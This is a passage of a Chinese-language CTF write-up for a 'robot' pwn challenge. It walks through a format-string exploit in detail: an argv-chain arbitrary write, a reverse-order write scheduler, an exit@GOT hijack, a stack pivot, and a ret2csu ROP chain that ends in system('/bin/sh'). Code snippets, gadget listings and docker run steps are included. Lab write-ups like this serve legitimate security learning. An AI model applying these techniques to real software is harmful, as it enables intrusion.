接下來我們要先想辦法實現 write "arbitrary data" to "arbitrary address"，這邊要用到一個技巧叫 Argv Chain（這招在 Angelboy 那年的程安有教過）。我們 stack 上從 `rsp` 往 high address 看，可以看到以下這個 chain，如果我們透過 FSB 用 `%n` 對 `0x7fff1053b6b8` 寫入，實際上他會把該 address 內所存的 value 當作 pointer，進行 dereference 後寫入。

所以如果我們對 `0x7fff1053b6b8` 寫入 `0xcafebabedeadbeef`，實際上會把下圖中 `0x7fff1053c913` 改成 `0xcafebabedeadbeef`。

```
2e:0170 | 0x7fff1053b6b8 → 0x7fff1053b728 → 0x7fff1053c913 ← 'HOSTNAME=4809146d157c'
```

那麼我們的目標就是：

stage 1. 先寫 target address 到 argv chain 的末端

stage 2. 再透過上述技巧把 target data 寫到 target address 裡面

[STAGE 1]

```
0x7fffd13f2cdd8 → 0x7fffd13f2cea8 → 0x7fffd13f2e8fd ← '/home/robot/robot'
      node0              node1              node2
```

[STAGE 2]

```
0x7fffd13f2cdd8 → 0x7fffd13f2cea8 → 0x7fffd13f2e8fd → 0x55e3ae7b6088
(exit@got.plt)
      node0              node1              node2              addr
```

這邊有很多超級靠背的小細節，比如 payload 因為最開頭是 M，這代表我們如果一次寫 1 byte 大小的東西，我們用 `%hhn` 可寫入的最小值就是 1（因為 M 已經佔了 1 char）。繞過的方法是從 `target_addr - 1` 的地方用 `%hn` 寫 1 進去（一次寫 2 bytes），這樣在 memory 裡面就會呈現 01 00，導致 `target_addr` 處剛好是 00

所以如果我們要做很多次 arbitrary write，就要【逆著寫】，否則順著寫就會導致前一個 byte 都被寫入 01，ROP chain 就會被弄壞。

這邊我就寫了一個 Fmt arbitrary write 的 scheduler，用起來大概像這樣：

```

fmt = FmtExp(proc, rsp)
fmt.sched_write(elf_base + bss_buf + 0x18, elf_base + __libc_csu_init2) # ret2csu
fmt.sched_write(elf_base + bss_buf + 0x28, 0) # rbx
fmt.sched_write(elf_base + bss_buf + 0x30, 1) # rbp
fmt.sched_write(elf_base + bss_buf + 0x38, 1) # r12 → edi
fmt.sched_write(elf_base + bss_buf + 0x40, 0) # r13 → rsi
fmt.sched_write(elf_base + bss_buf + 0x48, 1) # r14 → rdx
fmt.sched_write(elf_base + bss_buf + 0x50, elf_base + fini_ptr) # r15
fmt.sched_write(elf_base + bss_buf + 0x58, elf_base + __libc_csu_init1) # ret → call [r15]
fmt.sched_write(elf_base + bss_buf + 0x98, elf_base + pop_rdi_ret) # ret
fmt.sched_write(elf_base + bss_buf + 0xa0, libc_bin_sh) # rdi
fmt.sched_write(elf_base + bss_buf + 0xa8, elf_base + ret) # ret
fmt.sched_write(elf_base + bss_buf + 0xb0, libc_system) # ret
fmt.do_writes()

```

超爽的，每次呼叫 `sched_write()` 就會把 (addr, data) append 到 internal write queue 的尾部，等到 `do_writes()` 的時候，就會直接 reverse write queue 然後反向做所有 fsb 的 arbitrary writes。

### • GOT Hijack & ROP

可以任意寫入之後，接下來就是 Hijack GOT 了，我們把 `exit@GOT` 改成 `__libc_csu_init()` 裡面的這個 gadget：

1a96:	48 83 c4 08	add	rsp,0x8
1a9a:	5b	pop	rbx
1a9b:	5d	pop	rbp
1a9c:	41 5c	pop	r12
1a9e:	41 5d	pop	r13
1aa0:	41 5e	pop	r14
1aa2:	41 5f	pop	r15
1aa4:	c3	ret	

這邊我這樣做是因為緊跟在 `rsp` 之後的東西好像容易寫失敗，parent 容易跑一跑就卡住了，所以我就讓 `rsp` 控到後面一點的地方然後進行 stack pivot

```

# Hijack exit@GOT
fmt.sched_write(elf_got_exit, elf_base + pop7_ret)

# Write ROP chain on stack for stack migration
fmt.sched_write(rsp + 0x30, elf_base + pop_rsp_pop3ret) # ret
fmt.sched_write(rsp + 0x38, elf_base + bss_buf) # rsp

```

把 stack 遷移到 .bss 之後，直接使出 `ret2csu` 呼叫 `system("/bin/sh")`

```

# Prepare for ret2csu and sys_execve
fini_ptr = bss_buf + 0x08
fmt.sched_write(elf_base + fini_ptr, _fini)

# Write new ROP chain in `bss_buf`.
# call system@libc and fuck this stupid ass
# 再給我出狀況試試看 幹你娘
__libc_csu_init1 = 0x1a80
__libc_csu_init2 = 0x1a96
fmt.sched_write(elf_base + bss_buf + 0x18, elf_base + __libc_csu_init2) # ret2csu
fmt.sched_write(elf_base + bss_buf + 0x28, 0) # rbx
fmt.sched_write(elf_base + bss_buf + 0x30, 1) # rbp
fmt.sched_write(elf_base + bss_buf + 0x38, 1) # r12 → edi
fmt.sched_write(elf_base + bss_buf + 0x40, 0) # r13 → rsi
fmt.sched_write(elf_base + bss_buf + 0x48, 1) # r14 → rdx
fmt.sched_write(elf_base + bss_buf + 0x50, elf_base + fini_ptr) # r15
fmt.sched_write(elf_base + bss_buf + 0x58, elf_base + __libc_csu_init1) # ret → call [r15 + r
fmt.sched_write(elf_base + bss_buf + 0x98, elf_base + pop_rdi_ret) # ret
fmt.sched_write(elf_base + bss_buf + 0xa0, libc_bin_sh) # rdi
fmt.sched_write(elf_base + bss_buf + 0xa8, elf_base + ret) # ret
fmt.sched_write(elf_base + bss_buf + 0xb0, libc_system) # ret
fmt.do_writes()

```

當然前面這些 ROP Chain 都寫完之後，要用 `G` 來觸發 `exit()`，然後就會開始進入我們的 ROP 了。

## • Exploit

因為我一開始為了 debug 方便，就把 child 的 `close(0,1,2)` patch 成 `nop` 了...  
所以我以外 child 可以透過 `stdin`, `stdout` 傳遞東西，就一路寫的很開心，  
到最後才發現全部都要用 `shellcode` 寫，但已經來不及了，有夠烙賽...

```

# outside docker
$ docker-compose up
$ docker exec -it distribute_robot_1 /bin/bash

# inside docker (install pwntools and run exploit)
$ apt-get update
$ apt-get install python3 python3-pip python3-dev
$ apt-get install git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
$ cd home/robot
$ ./exploit.py

```

這個 exploit 必須在 docker 裡面跑，而且進 docker 要先裝 `pwntools`

